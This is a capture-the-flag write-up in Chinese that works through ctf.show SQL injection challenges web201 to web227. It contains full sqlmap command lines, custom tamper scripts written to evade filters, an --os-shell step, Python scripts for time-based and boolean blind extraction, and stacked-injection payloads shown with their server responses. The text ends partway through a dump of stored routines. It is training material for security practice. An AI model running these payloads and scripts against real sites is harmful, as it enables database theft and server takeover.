題目還指定使用 --referer 繞過 referer 檢查,帶着 sqlmap 的 ua 訪問會提示“打擊盜版人人有責,你都不是從ctf.show來的”,故指定 referer 為 ctf.show。
# 檢測注入類型
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show"
# 出庫名
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -dbs
# 出表名
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" --tables
# 出數據
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --dump
數據中找到 flag。
web202
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
sqlmap 工具使用練習。
題目強調使用 --data 指定 sqlmap 以 post 方式提交數據。
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --dbs
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --D "ctfshow_web" --tables
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 -D "ctfshow_web" -T "ctfshow_user" --dump
數據中找到 flag。
web203
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
sqlmap 工具使用練習。
--method 指定 put 請求方式,url 要帶 index.php,還要加上 --headers="Content-Type: text/plain" 便於 put 接收表單參數。
$ sqlmap -u "http://c9d3e765-d676-4c4c-a87b-3b99ebf5e70b.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
web204
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
sqlmap 工具使用練習。
--cookie 帶上 PHPSESSID,其余不變。
$ sqlmap -u "http://38e4a4ea-fb61-45cd-81cb-2f96697a5d0f.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
web205
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where id = '".$_GET['id']."';";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
sqlmap 工具使用練習。
題目提示 api 調用需要鑒權,查看日志發現 /api/getToken.php 的訪問,設置參數 --safe-url 和 --safe-freq 在調用 api 前訪問 token 鏈接。
$ sqlmap -u "http://66b00e8e-9b47-461a-925a-5dc2c3ef9988.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://66b00e8e-9b47-461a-925a-5dc2c3ef9988.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -T ctfshow_flax --dump
web206
//拼接sql語句查找指定ID用戶
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
//對傳入的參數進行了過濾
function waf($str){
//代碼過於簡單,不宜展示
}
sqlmap 工具使用練習。
題目提示 sql 需要閉合,但似乎對 sqlmap 沒有影響,和上一題相比只變了表名。
$ sqlmap -u "http://56856f5f-d186-4e25-827b-5f18cafa3df3.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://56856f5f-d186-4e25-827b-5f18cafa3df3.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -T ctfshow_flaxc --dump
web207
//拼接sql語句查找指定ID用戶
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
//對傳入的參數進行了過濾
function waf($str){
return preg_match('/ /', $str);
}
sqlmap 工具使用練習。
題目提示要用 --tamper 加載自己寫的 tamper,給出的正則過濾了空格 (%20
),所以要用 tamper 替換一下 Payload 里面的空格。
$ ls /usr/share/sqlmap/tamper | grep space
multiplespaces.py
space2comment.py
space2dash.py
space2hash.py
space2morecomment.py
space2morehash.py
space2mssqlblank.py
space2mssqlhash.py
space2mysqlblank.py
space2mysqldash.py
space2plus.py
space2randomblank.py
工具自帶了很多空格替換的 tamper,這里使用 sapce2comment 繞過。
$ sqlmap -u "http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment -T ctfshow_flaxca --dump
web208
//拼接sql語句查找指定ID用戶
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
返回邏輯
//對傳入的參數進行了過濾
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}
sqlmap 工具使用練習。
和上一題差不多,就變了表名。
$ sqlmap -u "http://c5edaa62-dac4-41f9-aab7-2c8c0f734bcd.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://c5edaa62-dac4-41f9-aab7-2c8c0f734bcd.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment -T ctfshow_flaxcac --dump
web209
//拼接sql語句查找指定ID用戶
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
//對傳入的參數進行了過濾
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}
sqlmap 工具使用練習。
過濾正則表達式新增過濾 * =
,沒有現成可用的繞過過濾的 tamper,自己寫一個。
/usr/share/sqlmap/tamper/web209.py
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("=", " like ").replace(" ", chr(0x09))
$ sqlmap -u "http://1d757578-d745-49b6-ac7d-d8b6ca04b103.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://1d757578-d745-49b6-ac7d-d8b6ca04b103.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web209 -T ctfshow_flav --dump
web210
//拼接sql語句查找指定ID用戶
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
//對查詢字符進行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
sqlmap 工具使用練習,根據給出的解碼函數編寫 tamper
#!/usr/bin/env python
import base64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return base64.b64encode(base64.b64encode(payload[::-1].encode()).decode()[::-1].encode()).decode()
$ sqlmap -u "http://97a2abb3-9463-4f0c-b5aa-291bcf252154.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://97a2abb3-9463-4f0c-b5aa-291bcf252154.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web210 -T ctfshow_flavi --dump
web211
//拼接sql語句查找指定ID用戶
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
//對查詢字符進行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}
sqlmap 工具使用練習,解碼和字符過濾一起來
#!/usr/bin/env python
import base64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return base64.b64encode(base64.b64encode(payload.replace(" ", chr(0x09))[::-1].encode()).decode()[::-1].encode()).decode()
$ sqlmap -u "http://7c37ec3d-adf8-4cb7-b8cc-d79be416452b.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://7c37ec3d-adf8-4cb7-b8cc-d79be416452b.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web211 -T ctfshow_flavia --dump
web212
//拼接sql語句查找指定ID用戶
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
//對查詢字符進行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}
sqlmap 工具使用練習,和上一題沒差,增加的過濾不影響 tamper
$ sqlmap -u "http://78ef7e34-5843-4584-b7dd-d16f0dde210f.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://78ef7e34-5843-4584-b7dd-d16f0dde210f.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web211 -T ctfshow_flavis --dump
web213
//拼接sql語句查找指定ID用戶
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
//對查詢字符進行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}
sqlmap 工具使用練習,和上一題完全一樣,但 flag 不在表里。題目也提示使用 --os-shell 來 getshell。
$ sqlmap -u "http://c4548dab-7ead-4a80-a384-31f72836e279.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show --safe-url="http://c4548dab-7ead-4a80-a384-31f72836e279.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web211 --os-shell
os-shell> cat /ctfshow_flag
在根目錄找到 flag。
web214
時間盲注,題目提示是時間盲注,這次沒給查詢語句和返回邏輯。index.php 請求的時候有一個 /api 的請求但 response 沒有內容,試着在 ip 處填寫 if(1,sleep(5),0)
請求成功延時了 5 秒,確定注入點。
import requests
url = "http://d3ae60d0-2e14-4022-a741-a5792e99ae19.challenge.ctf.show:8080/api/"
# 庫名 informbtion_schema,test,mysql,performance_schema,czfshow_web
# payload = "if(ascii(mid((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(5),1)"
# 表名 ctfshow_flagx,ctfshow_info
# payload = "if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),1)"
# 列名 id,flaga,info,id,ip,cname
# payload = "if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},sleep(5),1)"
# flag
payload = "if(ascii(mid((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(5),1)"
def valid_char(index: int, ascii: int) -> bool:
data = {
"ip": payload.format(index, ascii),
"debug": 0
}
try:
_ = requests.post(url, data=data, timeout=2)
except:
return True
return False
result = ""
i = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
if valid_char(i, p):
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
i += 1
web215
//用了單引號
時間盲注,查詢語句提示用了單引號,其他提示依舊沒有。嘗試 111' or if(1,sleep(5),1) #
,成功延時。嘗試之前的查庫名 payload 也能延時,證明語句執行了沒有被過濾。
寫腳本在跑 flag 的時候,跑了幾次都出不來,后來發現是列名有問題,加長了延時后結果才是對的,網絡環境對時間盲注的影響不容小覷。
import requests
url = "http://08a214e9-f2ea-4fce-9da4-2415fbf3e37f.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxc,cthshow_info
# payload = "111' or if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(10),1) #"
# 列名 id,flagaa,info,id,ip,cname
# payload = "111' or if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},sleep(10),1) #"
# flag
payload = "111' or if(ascii(mid((select flagaa from ctfshow_flagxc),{},1))>{},sleep(10),1) #"
def valid_char(index: int, ascii: int) -> bool:
data = {
"ip": payload.format(index, ascii),
"debug": 0
}
try:
_ = requests.post(url, data=data, timeout=5)
except:
return True
return False
result = ""
i = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
if valid_char(i, p):
start = p
else:
end = p
if end < start:
end = start
if chr(end) == '!':
break
result += chr(end)
print(f"[*] result: {result}")
i += 1
web216
where id = from_base64($id);
時間盲注,查詢語句給了一個 from_base64 的操作,這里可以在里面 if 也可以在外面 if,214 題的腳本可用。
web217
where id = ($id);
//屏蔽危險分子
function waf($str){
return preg_match('/sleep/i',$str);
}
時間盲注,查詢語句有個括號里外都能 if,返回邏輯部分禁用了 sleep,還可以用 benchmark 和笛卡爾積。
沒有了 sleep 要注意把控時間,過大的計算量會卡死,導致后面的注入都不能進行,甚至需要重開環境。
為了獲得比較准確的結果,加了一些 time.sleep(10) 跑了很久,陽壽換 flag 典中典了。。。
import time
import requests
url = "http://8305ab89-65fe-4af7-941d-3edf147d1629.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxccb,ctfshow_info
# payload = "if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},benchmark(8000000,md5(0x31)),1)"
# 列名 id,flagaabc,info,id,ip,cname
# payload = "if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},benchmark(8000000,md5(0x31)),1)"
# flag
payload = "if(ascii(mid((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},benchmark(8000000,md5(0x31)),1)"
def valid_char(index: int, ascii: int) -> bool:
data = {
"ip": payload.format(index, ascii),
"debug": 0
}
try:
_ = requests.post(url, data=data, timeout=3)
except:
return True
return False
result = ""
i = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
if valid_char(i, p):
start = p
time.sleep(10) # benchmark 跑完大概需要 10s 多,3s 超時后再讓它跑 10s,防止阻塞后全部超時影響時間盲注
else:
end = p
if end < start:
end = start
if chr(end) == '!':
break
result += chr(end)
print(f"[*] result: {result}")
i += 1
web218
where id = ($id);
//屏蔽危險分子
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}
時間盲注,這次 sleep benchmark
都被禁用了,改用笛卡爾積。
https://cloud.tencent.com/developer/article/1601686
通過采用 1 個表 2 個列,或者 2 個列一個表,等等各種組合找出合適的延時的時間。
經過測試,利用 information_schema
中的數據,一個 columns
和兩個 tables
的笛卡爾積剛好能延時 6 秒左右,適合構造 payload。
import time
import requests
url = "http://6a887fe9-0d60-463b-825c-6cfccacc07bb.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxc,ctfshow_info
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaac
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaac from ctfshow_flagxc),{},1))>{}"
def valid_payload(p: str) -> bool:
data = {
"debug": 0,
"ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
f"information_schema.tables C),1) "
}
time_s = time.time()
_ = requests.post(url, data=data)
time_e = time.time()
# 改用手動計時防止多次沒跑完的笛卡爾積疊加卡死影響注入
return time_e-time_s > 4
index = 1
result = ""
while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
everage = (start + end) // 2
if valid_payload(payload.format(index, everage)):
start = everage
else:
end = everage
if end < start:
end = start
if chr(end) == "!":
break
result += chr(end)
print(f"[*] result: {result}")
index += 1
web219
where id = ($id);
//屏蔽危險分子
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}
時間盲注,過濾新增 rlike
,對上一題的腳本沒有影響,一把梭。
import time
import requests
url = "http://7337669d-2dd1-4181-9656-aa71b4f34d25.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxca,ctfshow_info
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaabc,info,id,ip,cnak
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaabc from ctfshow_flagxca),{},1))>{}"
def valid_payload(p: str) -> bool:
data = {
"debug": 0,
"ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
f"information_schema.tables C),1) "
}
time_s = None
time_e = None
while True:
time_s = time.time()
try:
_ = requests.post(url, data=data)
except:
continue
time_e = time.time()
break
# 改用手動計時防止多次沒跑完的笛卡爾積疊加卡死影響注入
return time_e-time_s > 4
index = 1
result = ""
while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
everage = (start + end) // 2
if valid_payload(payload.format(index, everage)):
start = everage
else:
end = everage
if end < start:
end = start
if chr(end) == "!":
break
result += chr(end)
print(f"[*] result: {result}")
index += 1
web220
where id = ($id);
//屏蔽危險分子
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}
時間盲注,禁用掉了 ascii hex concat_ws concat mid substr
,不能用二分法,要拼接比較了。
在構造 payload 的時候使用 limit 限制查詢條數,從而繞過 concat 的限制,查到所有的結果。
import string
import time
import requests
url = "http://bbdb689b-386c-435c-ae43-e707b9f65a76.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxcac
# payload = "left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{})='{}'"
# 列名 flagaabcc
# payload = "left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{})='{}'"
# flag
payload = "left((select flagaabcc from ctfshow_flagxcac limit 0,1),{})='{}'"
def valid_payload(p: str) -> bool:
data = {
"debug": 0,
"ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
f"information_schema.tables C),1) "
}
time_s = None
time_e = None
while True:
time_s = time.time()
try:
_ = requests.post(url, data=data)
except:
continue
time_e = time.time()
break
# 改用手動計時防止多次沒跑完的笛卡爾積疊加卡死影響注入
return time_e-time_s > 4
letters = "{}_-" + string.ascii_lowercase + string.digits
index = 1
result = ""
while True:
for letter in letters:
load = payload.format(index, result + letter)
if valid_payload(load):
result += letter
break
print(f"[*] result: {result}")
index += 1
web221
//分頁查詢
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
//TODO:很安全,不需要過濾
//拿到數據庫名字就算你贏
limit 位置注入,參考文章 https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html 利用 procedure analyse 構造參數。
payload /api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
web222
//分頁查詢
$sql = select * from ctfshow_user group by $username;
//TODO:很安全,不需要過濾
group by 位置注入,和前面時間盲注一樣,可復用腳本。
import time
import requests
url = "http://3c71a933-4713-4ccb-8a89-9bc4bbea0bf3.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flaga,ctfshow_user
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaabc,info,id,username,pass
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaabc from ctfshow_flaga),{},1))>{}"
def valid_payload(p: str) -> bool:
username = f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B," \
f"information_schema.tables C),1) "
time_s = None
time_e = None
while True:
time_s = time.time()
try:
_ = requests.get(f"{url}?u={username}&page=3&limit=10")
except:
continue
time_e = time.time()
break
# 改用手動計時防止多次沒跑完的笛卡爾積疊加卡死影響注入
return time_e-time_s > 4
index = 1
result = ""
while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
everage = (start + end) // 2
if valid_payload(payload.format(index, everage)):
start = everage
else:
end = everage
if end < start:
end = start
if chr(end) == "!":
break
result += chr(end)
print(f"[*] result: {result}")
index += 1
web223
//分頁查詢
$sql = select * from ctfshow_user group by $username;
//TODO:很安全,不需要過濾
//用戶名不能是數字
group by 位置注入,和上一題差不多,不過這次再嘗試會發現禁用了數字,改用 true 構造數字。
import time
import requests
def make_num(i: int) -> str:
return '+'.join("true" for _ in range(i))
url = "http://9a3b0f78-09a7-4bd9-8c46-b092345a74d2.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagas,ctfshow_user
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},true))>{}"
# 列名 id,flagasabc,info,id,username,pass
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},true))>{}"
# flag
payload = "ascii(mid((select flagasabc from ctfshow_flagas),{},true))>{}"
true_flag = "passwordAUTO"
def valid_payload(p: str) -> bool:
username = f"if({p},username,'a')"
response = None
while True:
try:
response = requests.get(f"{url}", params={"u": username})
except:
continue
break
return true_flag in response.text
index = 1
result = ""
while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
everage = (start + end) // 2
if valid_payload(payload.format(make_num(index), make_num(everage))):
start = everage
else:
end = everage
if end < start:
end = start
if chr(end) == "!":
break
result += chr(end)
print(f"[*] result: {result}")
index += 1
能布爾盲注就別時間盲注,快太多了
web224
可能是和文件上傳的某道題聯動了,先留着。
web225
//分頁查詢
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
//師傅說過濾的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}
有過濾的堆疊注入,可以利用預處理或 handler,參考文章。
預處理解法
concat 和 char 都可以繞過過濾。
def make_payload(sql: str) -> str:
return f"ctfshow';prepare n from char({','.join(str(ord(c)) for c in sql)});execute n%23"
payload1: make_payload("show tables;")
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"Tables_in_ctfshow_web":"ctfshow_flagasa"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}
payload2: make_payload("select * from ctfshow_flagasa;")
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"1","flagas":"ctfshow{83599e7a-ba35-4ce6-88a1-6e1c69755ccb}","info":"you get it"}]}
handler 解法
payload1: ctfshow';show tables%23
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"Tables_in_ctfshow_web":"ctfshow_flagasa"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}
payload2: ctfshow';handler ctfshow_flagasa open as t;handler t read first;handler t close%23
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"1","flagas":"ctfshow{83599e7a-ba35-4ce6-88a1-6e1c69755ccb}","info":"you get it"}]}
web226
//分頁查詢
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
//師傅說過濾的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}
有過濾的堆疊注入,和上題相比禁用了 show (
,concat 或 char 函數可以用 0x 代替,就可以繼續預處理了。
至於 handler,也需要出表名,沒弄出來就只用預處理了。
def make_payload(sql: str) -> str:
return f"user1';prepare n from 0x{sql.encode().hex()};execute n%23"
payload1: make_payload("show tables;")
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"2","username":"user1","pass":"111"},{"Tables_in_ctfshow_web":"ctfsh_ow_flagas"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}
payload2: make_payload("select * from ctfsh_ow_flagas;")
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"2","username":"user1","pass":"111"},{"id":"1","flagasb":"ctfshow{c09680e6-42ea-4b36-93fd-bd8b47c23002}","info":"you get it"}]}
web227
//分頁查詢
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
//師傅說過濾的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
die(json_encode($ret));
}
有過濾的堆疊注入,預處理還是可以用,但是就是找不到 flag,傳了 shell 也沒找到。后來知道了這題的考點是查看MySQL的存儲過程。
def make_payload(sql: str) -> str:
return f"user1';prepare n from 0x{sql.encode().hex()};execute n%23"
payload: make_payload("select * from information_schema.routines;")
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"2","username":"user1","pass":"111"},{"SPECIFIC_NAME":"getFlag","ROUTINE_CATALOG":"def","ROUTINE_SCHEMA":"ctfshow_web","ROUTINE_NAME":"getFlag","ROUTINE_TYPE":"PROCEDURE","DATA_TYPE":"","CHARACTER_MAXIMUM_LENGTH":null,"CHARACTER_OCTET_LENGTH":null,"NUMERIC_PRECISION":null,"NUMERIC_SCALE":null,"DATETIME_PRECISION":null,"CHARACTER_SET_NAME":null,"COLLATION_NAME":null,"DTD_IDENTIFIER":null,"ROUTINE_BODY":"SQL","ROUTINE_DEFINITION":"BEGIN\n\tSELECT \"ctfshow{a697fb41-7a92-40d5-a50c-4cc17ba75fb7}\";\n\tEND","EXTERNAL_NAME":null,"EXTERNAL_LANGUAGE":null,"PARAMETER_STYLE":"SQL","IS_DETERMINISTIC":"NO","SQL_DATA_ACCESS":"CONTAINS SQL","SQL_PATH":null,"SECURITY_TYPE":"DEFINER","CREATED":"2021-07-28 14:42:39","LAST_ALTERED":"2021-07-28 14:42:39","SQL_MODE":"STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION","ROUTINE_COMMENT":"","DEFINER":"root@localhost","CHARACTER_SET_CLIENT":"utf8","COLLATION_CONNECTION":"utf8_general_ci","DATABASE_COLLATION":"utf8mb4_general_ci"},{"SPECIFIC_NAME":"AddGeometryColumn","ROUTINE_CATALOG":"def","ROUTINE_SCHEMA":"mysql","ROUTINE_NAME":"AddGeometryColumn","ROUTINE_TYPE":"PROCEDURE","DATA_TYPE":"","CHARACTER_MAXIMUM_LENGTH":null,"CHARACTER_OCTET_LENGTH":null,"NUMERIC_PRECISION":null,"NUMERIC_SCALE":null,"DATETIME_PRECISION":null,"CHARACTER_SET_NAME":null,"COLLATION_NAME":null,"DTD_IDENTIFIER":null,"ROUTINE_BODY":"SQL","ROUTINE_DEFINITION":"begin\n set @qwe= concat('ALTER TABLE ', t_schema, '.', t_name, ' ADD ', geometry_column,' GEOMETRY REF_SYSTEM_ID=', t_srid); PREPARE ls from @qwe; execute ls; deallocate prepare ls; end","EXTERNAL_NAME":null,"EXTERNAL_LANGUAGE":null,"PARAMETER_STYLE":"SQL","IS_DETERMINISTIC":"NO","SQL_DATA_ACCESS":"CONTAINS SQL","SQL_PATH":null,"SECURITY_TYPE":"INVOKER","CREATED":"2019-10-31 04:15:22","LAST_ALTERED":"2019-10-31 04:15:22","SQL_MODE":"","ROUTINE_COMMENT":"","DEFINER":"root@localhost","CHARACTER_SET_CLIENT":"utf8","COLLATION_CONNECTION":"utf8_general_ci","DATABASE_COLLATION":"utf8mb4_general_ci"},{"SPECIFIC_NAME":"DropGeometryColumn","ROUTINE_CATALOG":"def","ROUTINE_SCHEMA":"mysql","ROUTINE_NAME":"DropGeometryColumn","ROUTINE_TYPE":"PROCEDURE","DATA_TYPE":"","CHARACTER_MAXIMUM_LENGTH":null,"CHARACTER_OCTET_LENGTH":null,"NUMERIC_PRECISION":null,"NUMERIC_SCALE":null,"DATETIME_PRECISION":null,"CHARACTER_SET_NAME":null,"COLLATION_NAME":null,"DTD_IDENTIFIER":null,"ROUTINE_BODY":"SQL","ROUTINE_DEFINITION":"begin\n set @qwe= concat('ALTER TABLE ', 